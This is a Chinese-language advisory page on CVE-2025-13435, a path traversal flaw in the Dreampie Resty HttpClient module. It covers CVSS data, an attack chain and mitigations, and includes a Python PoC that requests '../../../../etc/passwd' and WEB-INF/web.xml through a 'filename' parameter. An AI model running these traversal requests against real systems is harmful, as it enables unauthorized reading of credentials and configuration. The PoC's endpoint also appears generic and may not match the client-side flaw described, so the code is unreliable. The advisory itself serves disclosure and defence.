IPBUF安全漏洞报告
English
CVE-2025-13435 CVSS 5.6 中危

CVE-2025-13435 Dreampie Resty路径遍历漏洞

披露日期: 2025-11-20

漏洞信息

漏洞编号
CVE-2025-13435
漏洞类型
路径遍历
CVSS评分
5.6 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Dreampie Resty

相关标签

路径遍历Dreampie RestyHttpClientCVE-2025-13435文件读取中间件漏洞

漏洞概述

CVE-2025-13435是Dreampie Resty框架中的一个路径遍历安全漏洞。该漏洞存在于HttpClient模块的Request函数中,具体位于resty-httpclient/src/main/java/cn/dreampie/client/HttpClient.java文件。由于对filename参数的处理不当,攻击者可以通过构造特殊的文件路径字符串(如使用../等路径遍历序列)来访问服务器上的任意文件。漏洞影响Dreampie Resty 1.3.1.SNAPSHOT及之前版本,CVSS评分为5.6,属于中等严重程度。该漏洞可通过网络远程利用,无需认证和用户交互即可发起攻击,但由于利用复杂度较高且公开时间较短,目前实际利用案例较少。

技术细节

漏洞根源在于HttpClient.java文件中的Request函数对用户可控的filename参数缺乏充分的路径验证。攻击者可以通过在filename参数中注入路径遍历字符序列(如../),绕过应用程序的目录限制,访问服务器文件系统中的敏感文件。具体来说,当应用程序使用用户提供的filename构建文件路径时,如果未对路径进行规范化处理(如使用realpath()或检查..序列),攻击者就能利用路径遍历漏洞读取任意文件内容。漏洞存在于HTTP客户端模块,该模块通常用于处理HTTP请求和响应数据,攻击者可能利用此漏洞读取配置文件、源代码、凭据文件等敏感信息。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标系统使用的Dreampie Resty框架版本,确定版本<=1.3.1.SNAPSHOT
STEP 2
步骤2
构造Payload:攻击者构造包含路径遍历序列(如../)的filename参数
STEP 3
步骤3
发送恶意请求:通过HTTP请求将构造的payload发送给存在漏洞的HttpClient模块端点
STEP 4
步骤4
绕过路径限制:利用../序列遍历目录结构,访问服务器上的任意文件
STEP 5
步骤5
数据窃取:成功读取敏感文件(如配置文件、凭据、源代码等)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-13435 PoC - Path Traversal in Dreampie Resty HttpClient # Target: Dreampie Resty <= 1.3.1.SNAPSHOT def exploit_path_traversal(target_url, file_path): """ Exploit path traversal vulnerability in Dreampie Resty HttpClient Module Args: target_url: Target application URL file_path: Path to file to read (e.g., ../../../../etc/passwd) Returns: Response content if successful """ # Construct malicious request with path traversal payload payload = { 'filename': file_path } try: # Send request to vulnerable endpoint response = requests.get( f'{target_url}/resty-httpclient', params=payload, timeout=10 ) if response.status_code == 200: return response.text else: return f'Request failed with status: {response.status_code}' except requests.exceptions.RequestException as e: return f'Error: {str(e)}' # Example usage if __name__ == '__main__': target = 'http://target.com/api' # Read sensitive files using path traversal files_to_read = [ '../../../../etc/passwd', '../../../webapp/WEB-INF/web.xml', '../../../../../../etc/hosts' ] for file_path in files_to_read: result = exploit_path_traversal(target, file_path) print(f'Reading {file_path}:') print(result) print('-' * 50)

影响范围

Dreampie Resty <= 1.3.1.SNAPSHOT

防御指南

临时缓解措施
在修复补丁发布之前,可采取以下临时缓解措施:1) 在Web应用防火墙(WAF)中添加规则,过滤包含路径遍历字符的请求;2) 限制运行应用程序的用户权限,避免读取敏感系统文件;3) 对所有文件路径操作进行严格的输入验证;4) 使用虚拟化或容器技术隔离应用程序,减少潜在损害;5) 监控应用程序日志,及时发现异常的文件访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表